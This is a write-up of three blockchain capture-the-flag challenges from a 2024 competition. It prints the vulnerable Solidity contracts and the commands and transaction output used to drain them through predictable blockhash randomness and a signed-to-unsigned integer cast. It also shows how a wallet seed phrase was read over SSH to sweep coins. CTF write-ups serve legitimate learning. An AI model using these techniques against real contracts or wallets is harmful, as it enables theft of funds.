HTB Cyber Apocalypse 2024 Blockchain Challenges
Russian Roulette [very easy]
Description
Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?
Initial Analysis
HTB spawned two Docker containers and provided a .zip file containing smart contracts, Setup.sol and RussianRoulette.sol. I began by looking at Setup.sol.
Setup.sol
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
A smart contract named RussianRoulette is created with 10 ether. To solve the challenge, I needed to drain RussianRoulette of that 10 ETH into the provided attacker wallet.
RussianRoulette.sol
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // đź’€
} else {
return "im SAFU ... for now";
}
}
}
Looking at the RussianRoulette contract, I saw the pullTrigger() function which has a public state, so I could call it directly. When pullTrigger() is called, it:
- Calculates an unsigned, 256-bit integer from the blockhash of the transaction’s block number minus one
- Modulos that value by 10
- If the final value is equal to seven, the
selfdestruct()method is called which deletes the smart contract and sends the remaining Ether to the designated contract (in this case, the transaction sender)
Solution
Before interacting with the RussianRoulette contract, I grabbed the connection information for the hosted testnet and exported these values as environment variables in my Foundry-rs Docker container (Foundry).
$ nc 83.136.252.250 40761
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xbf72ec411f03738614ea4ff8ca1bedcf5879ca3ce0ed3fa1be876e82ba365e0b
Address : 0x23C88A40d138f6eB43C1ae1E439fB37813D13709
Target contract : 0x8b40383E4793e3C9d4e44db36E878f9D279f0522
Setup contract : 0xE7bA09fB42a91B2EbBc893d99dbD8D7C109eaf05
$ export PK=0xbf72ec411f03738614ea4ff8ca1bedcf5879ca3ce0ed3fa1be876e82ba365e0b
$ export ATTACKER=0x23C88A40d138f6eB43C1ae1E439fB37813D13709
$ export TARGET=0x8b40383E4793e3C9d4e44db36E878f9D279f0522
$ export RPC=http://94.237.63.2:43020
To get the right block number, I called pullTrigger() multiple times (15) using Foundry’s cast tool to meet the if statement condition and trigger the selfdestruct() method to send the 10 Ether to my attacker contract.
$ cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "pullTrigger()"
blockHash 0x0d7f6e70b44066fc8334a5e01e85b3db072fe849c1b450b4b7e9c2acd6dd6fe0
blockNumber 2
contractAddress
cumulativeGasUsed 21720
effectiveGasPrice 3000000000
from 0x19Bd76639019aadBeeA69F5399C49e1672f5e25d
gasUsed 21720
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0xae0003c575c9e12b54d1e52bae664897021d73cc75e5f0acb0417ca812d6ab5e
transactionIndex 0
type 2
to 0x28874aF3728F75792df75680b5c3a9ff1a8C4100
depositNonce null
Repeat...
$ cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "pullTrigger()"
blockHash 0x6ae30317307bf064493418d851a4f8350ec86003067780a035c2260233812ce4
blockNumber 16
contractAddress
cumulativeGasUsed 26358
effectiveGasPrice 3000000000
from 0x19Bd76639019aadBeeA69F5399C49e1672f5e25d
gasUsed 26358
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0x114d561b016940ac946d493ee46d85e91ee76fea51c062b39857aaa4680920d5
transactionIndex 0
type 2
to 0x28874aF3728F75792df75680b5c3a9ff1a8C4100
depositNonce null
With the pullTrigger() condition met, I was able to get the flag.
$ nc 83.136.252.250 40761
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
Recovery [easy]
Description
We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept. We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins? Username: satoshi Password: L4mb0Pr0j3ct NOTE: Network is regtest, check connection info in the handler first.
Initial Analysis
I was provided with an IP with three ports. For the last port, I connected to the server using Netcat and was provided with additional information.
$ nc 83.136.250.103 42153
Hello fella, help us recover our bitcoins before it's too late.
Return our Bitcoins to the following address: bcrt1qd5hv0fh6ddu6nkhzkk8q6v3hj22yg268wytgwj
CONNECTION INFO:
- Network: regtest
- Electrum server to connect to blockchain: 0.0.0.0:50002:t
NOTE: These options might be useful while connecting to the wallet, e.g --regtest --oneserver -s 0.0.0.0:50002:t
Hacker wallet must have 0 balance to earn your flag. We want back them all.
Options:
1) Get flag
2) Quit
I need to transfer the stolen Bitcoins contained in the attacker Electrum wallet back to the provided Bitcoin wallet.
Solution
To access the attacker wallet, I used the credentials provided in the challenge description to set up a remote port forward for port 50002 from my workstation to the attacker’s server with one of the other provided IP and ports.
$ ssh -p 57644 -L 50002:127.0.0.1:50002 satoshi@83.136.250.103
satoshi@83.136.250.103's password: <L4mb0Pr0j3ct>
Linux ng-team-18335-blockchainrecoveryca2024-twdo6-665fbf6cb6-dd26f 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 14 15:01:40 2024 from 10.30.13.14
satoshi@ng-team-18335-blockchainrecoveryca2024-twdo6-665fbf6cb6-dd26f âžś ~
Looking in the satoshi user’s home directory, there’s a directory called wallet with the electrum-wallet-seed.txt file which contains the seed phrase for the attacker’s Electrum wallet.
satoshi@ng-team-18335-blockchainrecoveryca2024-twdo6-665fbf6cb6-dd26f âžś ~ cat wallet/electrum-wallet-seed.txt
chapter upper thing jewel merry hammer glass answer machine tag escape fitness
With this seed phrase, I installed Electrum on my workstation, connected to the the attacker’s Electrum server over my SSH tunnel, and created a new default, standard local wallet with the attacker’s seed phrase and connected to the attacker’s wallet in the Electrum app to transfer the Bitcoins back to the provided wallet.
electrum --regtest --oneserver -s 127.0.0.1:50002:telectrum --regtest --oneserver -s 127.0.0.1:50002:t
The Bitcoins were returned to the provided wallet, the attacker wallet balance was zero, and I could now acquire the flag.
$ nc 83.136.250.103 42153
Hello fella, help us recover our bitcoins before it's too late.
Return our Bitcoins to the following address: bcrt1qd5hv0fh6ddu6nkhzkk8q6v3hj22yg268wytgwj
CONNECTION INFO:
- Network: regtest
- Electrum server to connect to blockchain: 0.0.0.0:50002:t
NOTE: These options might be useful while connecting to the wallet, e.g --regtest --oneserver -s 0.0.0.0:50002:t
Hacker wallet must have 0 balance to earn your flag. We want back them all.
Options:
1) Get flag
2) Quit
Enter your choice: 1
HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}
Lucky Faucet [easy]
Description
The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.
Initial Analysis
Like the Russian Roulette challenge, HTB spawned two Docker containers and provided a .zip file containing smart contracts, Setup.sol and LuckyFaucet.sol. I began by looking at Setup.sol.
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
Setup.sol creates a new LuckyFaucet contract called TARGET with the initial balance of 500 ether. To solve the challenge, I needed to transfer at least 10 ether out of the TARGET contract to reduce its balance to 490 ether or less.
Next, I examined LuckyFaucet.sol.
LuckyFaucet.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
A LuckyFaucet contract contains two functions: setBounds() and sendRandomETH(). setBounds()accepts two 64-bit integers as parameters to represent the new lowerBound and upperBound values where lowerBound cannot exceed upperBound and the maximum amount of wei for each variable is limited to 50 million wei and 100 million wei respectively. Given there is 10^18^ wei in one ether, the initial bounds are much too small to achieve the goal of transferring 10 ether in a reasonable amount of time. The solution is to figure out a way to make transferring more ether at a team possible.
Solution
With lowerBound and upperBound existing as signed integers or int64, a significantly large negative lowerBound value can be set and would result in a large amountToSend for sendRandomETH(). Even if the result of upperBound - lowerBound + 1) + lowerBound is a large negative number, the contract casting it to an unsigned integer or uint64 will result in a positive number.
With this principle in mind, I set up my Foundry-rs Docker container (Foundry) with the proper environment variables provided by HTB.
$ nc 94.237.63.2 38694
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xa26192c31c6a9630bda5f0da49d5910a57ff3d25523ed0daaba2fa86ee34ecf0
Address : 0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
Target contract : 0xEC9a50cbE92645C537d3645e714eDffD85055917
Setup contract : 0x83630575314cFDdE1C849b4f28B806381b7A67E6
$ export PK=0xa26192c31c6a9630bda5f0da49d5910a57ff3d25523ed0daaba2fa86ee34ecf0
$ export ATTACKER=0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
$ export TARGET=0xEC9a50cbE92645C537d3645e714eDffD85055917
$ export RPC=http://94.237.63.2:43020
I then used Foundry’s cast tool to call the setBounds() function to create a significantly negative value for lowerBound where lowerBound was -10000000000000000 and upperBound was 100000000.
$ cast send --private-key $PK --rpc-url $RPC $TARGET "setBounds(int64, int64)" -- -10000000000000000 100000000
blockHash 0x61fc9b1c1d3d6cec7be31df01aad0dba01a5d2acaf583e96ae68f4b21f2414de
blockNumber 2
contractAddress
cumulativeGasUsed 27135
effectiveGasPrice 3000000000
from 0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
gasUsed 27135
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0x66ca28e9a4c26f24fb81841b133306d64f3dc971b858daa18a74404ddc991288
transactionIndex 0
type 2
to 0xEC9a50cbE92645C537d3645e714eDffD85055917
depositNonce null
After updating the bounds, I called the sendRandomETH() function, which drained at least the required 10 ether from the target contract and allowed me to get the flag.
$ cast send --private-key $PK -f $ATTACKER --rpc-url $RPC $TARGET "sendRandomETH()"
blockHash 0x9739649d9e6ba6e8c8e39fee837a831de9c5429ed4caa63e8ec8e8a1727a3c5b
blockNumber 3
contractAddress
cumulativeGasUsed 30463
effectiveGasPrice 3000000000
from 0x6E4169b7A6c32528D49835CFdb1B4a6a0d27f3Cf
gasUsed 30463
logs []
logsBloom 0x000000000000000000000000...
root
status 1
transactionHash 0xc9d12df171dee3f1cd8f4620d85c22aae557d4ba583910171b9469f219aed354
transactionIndex 0
type 2
to 0xEC9a50cbE92645C537d3645e714eDffD85055917
depositNonce null
$ nc 94.237.63.2 38694
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_f0rg0r_s0m3_U}
Ledger Heist [hard]
Description
Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power.
Because I didn’t solve Ledger Heist during the challenge, this writeup provides a great solution that I learned from: chovid99 Ledger Heist.